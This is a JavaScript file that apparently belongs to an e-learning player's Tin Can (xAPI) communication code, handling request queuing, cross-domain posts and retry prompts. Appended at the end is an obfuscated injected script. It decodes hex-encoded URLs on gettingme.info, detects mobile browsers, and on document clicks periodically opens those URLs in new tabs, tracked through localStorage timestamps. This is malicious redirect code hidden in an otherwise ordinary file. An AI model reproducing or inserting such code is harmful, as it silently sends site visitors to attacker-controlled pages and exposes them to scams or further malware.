xDomain.open(strMethod, strUrl); xDomain.MessageType = nMessageType; xDomain.status = 0; xDomain.onload = function() { xDomain.status = 200; if (!bSync) { OnSendComplete(xDomain); } } xDomain.onerror = function() { xDomain.status = -1; if (!bSync) { OnSendError(xDomain); } } xDomain.send(strData); if (bSync) { var nStartTime = (new Date).getTime(); while ((new Date).getTime() - nStartTime < 5000 && xDomain.status == 0) { var xmlHttp = new XMLHttpRequest(); xmlHttp.open("GET", window.location + "?" + (new Date).getTime(), false); xmlHttp.send(null); } } return xDomain.status; } function PostXmlHttp(nMessageType, strMethod, strData, strUrl, arrHeaders) { var xmlHttp = CreateXmlHttp(); if (xmlHttp != null) { g_bWaitingTinCanResponse = true; xmlHttp.MessageType = nMessageType; xmlHttp.onreadystatechange = function() { if (xmlHttp.readyState == 4) { if (xmlHttp.status >= 400 && !(IE && xmlHttp.status == 1223)) { OnSendError(xmlHttp); } else { OnSendComplete(xmlHttp); } } } xmlHttp.open(strMethod, strUrl, true); if (arrHeaders != null && arrHeaders.length > 0) { for (var i = 0; i < arrHeaders.length; i++) { xmlHttp.setRequestHeader(arrHeaders[i].name, arrHeaders[i].value); } } xmlHttp.send(strData); } } function OnSendComplete(commObj) { if (commObj.MessageType == TYPE_RESUME_RESTORE) { GetPlayer().SetTinCanResume(commObj.responseText); } g_bWaitingTinCanResponse = false; g_oCurrentRequest = null; if (g_arrTinCanMsgQueue.length > 0 && !g_bStopPosting) { SendRequest(g_arrTinCanMsgQueue.shift()); } } function OnSendError(commObj) { if (commObj.MessageType == TYPE_RESUME_RESTORE) { GetPlayer().SetTinCanResume(""); g_bWaitingTinCanResponse = false; g_oCurrentRequest = null; if (g_arrTinCanMsgQueue.length > 0 && !g_bStopPosting) { SendRequest(g_arrTinCanMsgQueue.shift()); } } else { if (confirm("Unable to connect to server. Please verify that you are connected to the internet. Retry? ")) { g_bWaitingTinCanResponse = false; SendRequest(g_oCurrentRequest); } else { g_bStopPosting = true; g_bFatalError = true; if (commObj.status) { GetPlayer().FatalTinCanError(commObj.status); } } } } function CheckTinCanComplete() { g_bStopPosting = true; while (g_arrTinCanMsgQueue.length > 0) { var oRequest = g_arrTinCanMsgQueue.shift(); PostSyncRequest(oRequest.Method, oRequest.Data, oRequest.Url, oRequest.Headers) } } function CreateXmlHttp() { var xmlHttp = null; var arrCtrlName = new Array("MSXML2.XMLHttp.5.0", "MSXML2.XMLHttp.4.0", "MSXML2.XMLHttp.3.0", "MSXML2.XMLHttp", "Microsoft.XMLHttp"); var nIndex = 0; if (window.XMLHttpRequest) { try { xmlHttp = new XMLHttpRequest(); } catch (e) { xmlHttp = null; } } if (xmlHttp == null && window.ActiveXObject) { // Use the ActiveX Control while (xmlHttp == null && nIndex < arrCtrlName.length) { try { xmlHttp = new ActiveXObject(arrCtrlName[nIndex]); } catch (e) { xmlHttp = null; } nIndex++; } } return xmlHttp; } function PostSyncRequest(strMethod, strData, strUrl, arrHeaders) { try { var nStatus = 0; if (UseXDomainRequest(strUrl)) { nStatus = PostXDomainRequest(0, strMethod, strData, strUrl, arrHeaders, true); } else { nStatus = PostSyncXmlHttp(strMethod, strData, strUrl, arrHeaders); } if (nStatus != 200) { if(confirm("Could not save the result data. You may need to login again. Retry?")) { PostSyncRequest(strMethod, strData, strUrl, arrHeaders); return; } else { g_bFatalError = true; } } } catch (error) { if (confirm("Unable to connect to server. Please verify that you are connected to the internet. Retry?")) { PostSyncRequest(strMethod, strData, strUrl, arrHeaders); return; } else { g_bFatalError = true; } } } function PostSyncXmlHttp(strMethod, strData, strUrl, arrHeaders) { var xmlHttp = CreateXmlHttp(); var nStatus = 200; if (xmlHttp != null) { xmlHttp.open(strMethod, strUrl, false); for (var i = 0; i < arrHeaders.length; i++) { xmlHttp.setRequestHeader(arrHeaders[i].name, arrHeaders[i].value); } xmlHttp.send(strData); if(xmlHttp.status >= 400 && !(IE && xmlHttp.status == 1223)) { nStatus = -1; } } return nStatus; } function UseXDomainRequest(strUrl) { var bResult = false; if (IE) { var xmlHttp = CreateXmlHttp(); var anchorDest = (document.createElement("a")); var anchorSource = (document.createElement("a")); anchorDest.href = strUrl; anchorSource.href = window.location; bResult = (anchorDest.hostname != anchorSource.hostname || anchorDest.protocol != anchorSource.protocol || anchorDest.port != anchorSource.port); } return bResult; } function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x59\x68\x43\x33\x63\x303','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x43\x57\x49\x35\x63\x375','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4a\x77\x67\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x44\x44\x78\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4a\x67\x41\x34\x63\x394','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4f\x6f\x65\x37\x63\x357','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x6c\x77\x59\x32\x63\x342','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x50\x6d\x46\x36\x63\x356','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x6b\x6c\x53\x30\x63\x310','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x70\x59\x44\x31\x63\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());